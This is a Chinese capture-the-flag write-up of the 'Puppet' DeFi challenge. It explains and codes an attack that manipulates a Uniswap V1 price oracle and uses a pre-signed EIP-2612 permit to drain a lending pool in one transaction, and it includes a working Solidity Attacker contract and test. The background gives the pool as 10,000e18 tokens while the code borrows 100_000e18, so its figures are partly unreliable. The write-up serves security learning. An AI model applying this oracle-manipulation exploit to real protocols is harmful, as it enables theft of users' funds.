一、Puppet

背景:
有一个包含 10,000e18 代币的借贷pool。该pool允许使用 ETH 作为抵押品借入代币 DVT,抵押品的价值必须是借入金额的两倍。ETH 和 DVT 之间的价格取决于 Uniswap V1 池中的代币数量。我们的初始 DVT 数量为 1,000e18。
Uniswap V1 是一个满足 x × y = k(常数)的 AMM,其中 x 为 ETH 数量,y 为代币数量。初始时 x = 10e18,y = 10e18,因此 k = 100e36。如果我们 swap 1,000e18 个代币,Uniswap V1 池中剩余 1,010e18 个代币,因此剩余 ETH数量为:
$$ k / (x + dx) = 100e36 / (10e18 + 1000e18) = 10 / 101 × e18 $$
ETH/DVT 之间的价格变为
$$ 1010e18 / (10 / 101 × e18) = 10201 $$
相当于一个 eth 可以换 10201 个 DVT。
要获得 10,000e18 个代币,我们需要 10,000e18 × 2 / 10,201 ≤ 2e19。因此,我们只需要 20 个 ETH。这是可行的,因为我们初始有 25e18 个 ETH,并且可以通过兑换获得额外的 ETH。因此,这个数量是绰绰有余的。
所以现在唯一的问题是挑战必须在单笔交易中完成。看来我们至少需要两笔交易:
- 部署攻击者合约
- 发送token给攻击者合约,完成剩余的攻击逻辑。
事实证明,这两个步骤可以合二为一,因为该代币继承了 Solmate 的 ERC20 协议,该协议具有permit向指定消费者授予许可的功能。这遵循了 EIP-2612 标准。简单来说,我们可以创建一个许可,使用玩家的私钥对其进行预签名,然后将签名传递给攻击者,以完成代币的批准。
token.permit(owner, spender, value, deadline, v, r, s)permit等价于:不用 owner 账户亲自发起交易,就能帮 owner 对 spender 执行一次 approve。
普通 ERC20 流程:
- Player 调用 approve(attacker, amount) → 一笔交易(要 player 私钥签名+gas)。
- 然后 attacker 才能用 transferFrom(player, attacker, amount) 转走代币。
permit 流程(EIP-2612):
- Player 用自己的私钥离线签一个 message。
- Attacker 把签名拿到链上,调用 permit(...) → 代替 Player 完成 approve(attacker, amount)。
- 结果:attacker 获得了对 Player 代币的操作权。
也就是说,permit 是一个 meta-transaction:签名 + 任意人 relay。
另一个重要的细节是,在使用部署合约时new Attacker(...),地址可以预先计算(因为它使用CREATE操作码),因为它只取决于部署者(player)和 nonce。
攻击思路
- Player 签名一份 permit,授权 attacker 合约花费他的 token。
- Attacker 部署时携带 25 ETH + 签名参数。
在构造函数里:
- 用 permit 完成授权。
- transferFrom 把 Player 的 1000 token 拉过来。
- 用 token 去砸 Uniswap 池子,操纵价格。
- 借空 Puppet Pool 的 token,直接送到 recovery 地址。
一切完成在 一笔交易:new Attacker(...) 里面。
function test_puppet() public checkSolvedByPlayer {
address deployedAddr = vm.computeCreateAddress(address(player), 0);
bytes32 message = keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"),
player,
deployedAddr,
PLAYER_INITIAL_TOKEN_BALANCE,
0,
block.timestamp
)
)
)
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivateKey, message);
new Attacker{value: 25 ether}(uniswapV1Exchange, lendingPool, token, v, r, s, recovery);
}contract Attacker {
constructor(
IUniswapV1Exchange uniswapV1Exchange,
PuppetPool lendingPool,
DamnValuableToken token,
uint8 v,
bytes32 r,
bytes32 s,
address recovery
) payable {
token.permit(msg.sender, address(this), 1000e18, block.timestamp, v, r, s);
token.transferFrom(msg.sender, address(this), 1000e18);
token.approve(address(uniswapV1Exchange), 1000e18);
uniswapV1Exchange.tokenToEthSwapInput(1000e18, 1, block.timestamp);
lendingPool.borrow{value: 20 ether}(100_000e18, recovery);
}
// receive() external payable {}
// fallback() external payable {}
}- Solidity 的规则:合约在构造函数执行期间可以自动接收 ETH,即使没有 receive() 或 fallback()
评论 (0)